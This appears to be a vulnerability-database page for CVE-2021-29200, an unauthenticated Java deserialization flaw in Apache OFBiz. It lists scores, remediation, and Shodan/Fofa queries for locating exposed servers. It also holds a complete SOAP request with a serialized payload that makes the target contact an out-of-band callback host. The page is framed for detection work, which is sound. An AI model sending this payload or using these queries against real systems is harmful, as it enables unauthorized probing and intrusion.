🔙 목록으로 돌아가기

CVE-2021-29200: Apache OFBiz < 17.12.07 - Arbitrary Code Execution

TitleApache OFBiz < 17.12.07 - Arbitrary Code Execution
Authoryour3cho
SeverityCritical
ImpactUnauthenticated attackers can exploit unsafe deserialization to execute arbitrary code, leading to complete server compromise.
RemediationUpgrade to Apache OFBiz version 17.12.07 or later.
CVSS Score9.8
EPSS Score0.92497
CVE IDCVE-2021-29200
CWE IDCWE-502
Shodan Queryhtml:"OFBiz"http.html:"ofbiz"ofbiz.visitor=
Fofa Queryapp="Apache_OFBiz"body="ofbiz"app="apache_ofbiz"
Tags cve2021 cve apache ofbiz deserialization rce vuln

🔍 Vulnerability Description

Apache OFBiz has unsafe deserialization prior to 17.12.07 version An unauthenticated user can perform an RCE attack

🌐 HTTP Request

POST /webtools/control/SOAPService HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Connection: close
Content-Length: 1131
Content-Type: application/xml
Accept-Encoding: gzip

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">

  <soapenv:Header/>

    <soapenv:Body>

      <ser>

        <map-HashMap>

          <map-Entry>

            <map-Key>

              <cus-obj>aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e00037870ffffffffffffffff74002b64356a6e6e64706c65306f317563327566633267727570366673753365353366652e6f6173742e7369746574000071007e0005740004687474707078740032687474703a2f2f64356a6e6e64706c65306f317563327566633267727570366673753365353366652e6f6173742e7369746578</cus-obj>

            </map-Key>

            <map-Value>

              <std-String value="STDSTRING"/>

            </map-Value>

          </map-Entry>

        </map-HashMap>

     </ser>

  </soapenv:Body>

</soapenv:Envelope>

📚 References

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-29200.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-29200.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A